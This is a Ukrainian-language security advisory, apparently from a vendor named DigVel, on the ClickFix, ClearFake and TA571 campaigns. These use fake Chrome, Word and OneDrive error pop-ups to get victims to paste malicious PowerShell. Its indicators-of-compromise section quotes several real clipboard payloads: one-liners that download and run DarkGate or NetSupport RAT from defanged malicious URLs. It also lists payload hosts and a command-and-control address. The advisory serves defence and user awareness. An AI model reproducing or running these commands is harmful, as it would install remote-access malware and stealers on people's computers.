Хакери підробляють сповіщення про помилки Google Chrome

Зловмисники підробляють помилки Google Chrome, Word і OneDrive, щоб змусити жертв запускати сценарії PowerShell, які встановлюють шкідливі програми. Ця схема експлуатує необізнаність користувачів і недоліки ОС Windows.

Нова кампанія з розповсюдження шкідливого програмного забезпечення використовує підроблені сповіщення про помилки Google Chrome, Word і OneDrive, щоб обманом змусити користувачів запускати шкідливі «виправлення» PowerShell, які встановлюють шкідливе програмне забезпечення.

Як повідомляє bleepingcomputer.com, цим методом користуються кілька хакерських груп, зокрема зловмисники, пов’язані з ClearFake, новий кластер ClickFix і група TA571, що розсилає великі обсяги спам-листів зі зловмисними вкладеннями.

Серед шкідливого корисного навантаження, яке розповсюджується цим методом, дослідники помітили DarkGate, Matanbuchus, NetSupport, Amadey Loader, XMRig і Lumma Stealer.

Алгоритм атаки

У попередніх атаках ClearFake використовувалися вебнакладки, які спонукали відвідувачів сайтів встановити фальшиве оновлення браузера, що інсталювало шкідливе програмне забезпечення. У нових атаках зловмисники також використовують код JavaScript у HTML-вкладеннях і на скомпрометованих сайтах. Але тепер їхні накладки відображають фальшиві помилки Google Chrome, Microsoft Word і OneDrive.

Фальшиві сповіщення про помилки закликають користувача натиснути кнопку, щоб скопіювати «виправлення» PowerShell у буфер обміну, а потім вставити й запустити його в діалоговому вікні Run: (Виконати) або командному рядку PowerShell.

Детальний аналіз атаки наведено у звіті компанії ProofPoint.

Що кажуть фахівці DigVel

Хоча зазвичай для успішного виконання подібних атак потрібна значна взаємодія з користувачем, використовувані в цьому випадку методи соціальної інженерії настільки хитрі, що можуть подати жертві ситуацію як реальну проблему та її вирішення одночасно. Цей підхід сильніше спонукає користувача до дій, не викликаючи підозр про потенційний ризик.

Особливості цих атак

Соціальна інженерія

• Основна тактика: використання прийомів соціальної інженерії для обманювання користувачів, спонукання копіювати й вставляти шкідливі сценарії PowerShell.
• Методи впливу: створення ситуацій, що виглядають як реальні проблеми з одночасним наданням рішень, які користувачі сприймають як безпечні.

Використання сценаріїв PowerShell

• Запуск сценаріїв: користувачам надаються інструкції щодо копіювання шкідливого сценарію в термінал PowerShell або в діалогове вікно Run Windows (Виконати Windows).
• Складність виявлення: ці сценарії часто закодовані або замасковані під безпечні дії, що ускладнює їхнє виявлення антивірусним програмним забезпеченням.

Спливні текстові поля

• Відображення повідомлень: користувачі бачать спливні текстові поля з повідомленнями про помилки під час спроби відкрити документ або вебсторінку.
• Інструкції: надання детальних вказівок, як скопіювати й вставити шкідливий сценарій, під виглядом виправлення помилок.

Залучені зловмисники

• TA571: брокер початкового доступу, який використовує цю техніку для доставлення шкідливого програмного забезпечення, як-от DarkGate, Matanbuchus, NetSupport і викрадачів інформації.
• ClearFake: кластер активності, що використовує підроблені оновлення браузера для компрометації легітимних сайтів за допомогою шкідливого коду HTML і JavaScript.

Способи доставлення шкідливого програмного забезпечення

• Шкідливий спам: кампанія може розпочинатися через шкідливі електронні листи.
• Браузери: у кампаніях можуть використовуватися браузери для доставлення шкідливих сценаріїв через скомпрометовані сайти.

Техніка з використанням iframe

• ClickFix: кампанія, яка використовує скомпрометовані сайти з ін’єкцією, що веде до iframe із повідомленнями про помилки, у яких пропонується виправити несправні оновлення браузера.

Послідовність сценаріїв

• Каскадність атак: один сценарій PowerShell може завантажувати інші сценарії або файли, що призводить до встановлення кількох шкідливих програм.
• Різні функції: сценарії можуть очищувати кеш DNS, видаляти вміст буфера обміну, відображати приманки та завантажувати віддалені сценарії для подальшого виконання в пам’яті.

Складність виявлення

• Буфер обміну: вміст буфера обміну складно перевірити антивірусним програмним забезпеченням, що ускладнює виявлення шкідливих дій.
• Кодування: використання різних методів кодування, як-от Base64, для приховування шкідливого коду в HTML і вебсторінках.

Індикатори компрометації (IoCs)

Відповідь на електронну пошту кампанії TA571

• rechtsanwalt@ra-silberkuhl[.]com

Хеш-вкладення HTML

• 9701fec71e5bbec912f69c8ed63ffb6dba21b9cca7e67da5d60a72139c1795d1

Корисне навантаження буфера обміну TA571 (NetSupport RAT)

• hxxps://cdn3535[.]shop/1[.]zip

Корисне навантаження буфера обміну TA571 (DarkGate)

• hxxps://lashakhazhalia86dancer[.]com/c[.]txt

Корисне навантаження HTA TA571 (DarkGate)

• hxxp://languangjob[.]com/pandstvx

Корисне навантаження PowerShell TA571 (DarkGate)

• hxxp://languangjob[.]com/pandstvx

Буфер обміну TA571 до DarkGate

• cmd /c start /min powershell invoke-webrequest -uri hxxps://lashakhazhalia86dancer[.]com/c.txt -outfile c:\users\public\default.hta; start-process c:\users\public\default.hta;

Буфер обміну TA571 до NetSupport

• cmd /c start /min powershell $st=’c:\\users\\public’;$om=$st+’\\start.zip’;$ps=$st+’\\client\\client32.exe’;invoke-webrequest -uri hxxps://cdn3535[.]shop/1.zip -outfile $om;expand-archive $om $st; start-process $ps;Set-Clipboard -Value ‘ ‘;exit;

Хеш-вкладення HTML TA571

• 07e0c15adc6fcf6096dd5b0b03c20145171c00afe14100468f18f01876457c80

URL-адреса корисного навантаження PowerShell TA571

• hxxps://kostumn1[.]ilabserver[.]com/1.zip

C2 DarkGate

• 91.222.173[.]113

URL-адреса корисного навантаження TA571

• hxxp://mylittlecabbage[.]net/qhsddxna
• hxxp://mylittlecabbage[.]net/xcdttafq
• hxxps://jenniferwelsh[.]com/header.png

Буфер обміну TA571 до DarkGate

• cmd /c start /min powershell $Id = ‘c:\users\public\or.hta’;invoke-webrequest -uri hxxps://jenniferwelsh[.]com/header.png -outfile $Id;start-process $Id;Set-Clipboard -Value ‘ ‘;exit;==

C2 DarkGate

• mylittlecabbage[.]net

Корисне навантаження PowerShell ClearFake

• hxxps://rtattack[.]baqebei1[.]online/df/tt

URL-адреса корисного навантаження PowerShell ClickFix

• hxxps://oazevents[.]com/loader[.]html

Хеш-вкладення HTML TA571

• 11909c0262563f29d28312baffb7ff027f113512c5a76bab7c5870f348ff778f

Поради користувачам від фахівців DigVel

• Будьте обережні з неочікуваними попередженнями під час перегляду документів або вебсторінок.
• З підозрою ставтеся до дій у повідомленнях, що пропонують копіювати й вставити сценарій PowerShell.
• Не відкривайте підозрілі вкладення в електронних листах, особливо HTML-вкладення, які імітують документи Microsoft Office.
• Не виконуйте дії в спливних вікнах, особливо якщо вони пропонують встановити сертифікати або запустити сценарії.
• Повідомляйте про підозрілі електронні листи, спливні вікна й інші форми підозрілої активності фахівцям із кібербезпеки.

Рекомендації адміністраторам від фахівців DigVel

• Обмежте використання PowerShell для звичайних користувачів.
• Використовуйте сучасне антивірусне програмне забезпечення з можливістю виявлення сценаріїв PowerShell і моніторингу буфера обміну.
• Впровадьте системи моніторингу мережевого трафіку й поведінковий аналіз для виявлення підозрілої активності.
• Вимикайте макроси в документах Office, отриманих через електронну пошту або завантажених з інтернету.
• Використовуйте розширення для браузерів, які блокують шкідливі сценарії та попереджають про небезпечні сайти.
• Перевіряйте HTML-вкладення та вміст вебсторінок на наявність шкідливого коду.
• Регулярно оновлюйте програмне забезпечення, операційні системи та браузери до найновіших версій.
• Регулярно проводьте тренінги для співробітників щодо нових типів атак і методів соціальної інженерії.
• Навчіть користувачів розпізнавати підозрілі спливні вікна та повідомлення про помилки.
• Розробіть і регулярно оновлюйте план реагування на інциденти, що міститиме процедури ізолювання й аналізу шкідливих сценаріїв.
• Встановіть чіткі канали для повідомлення про підозрілу активність і швидкого реагування на інциденти.

DigVel може допомогти захистити ваш бізнес у ці непрості часи. Почніть із замовлення детальної консультації вже сьогодні!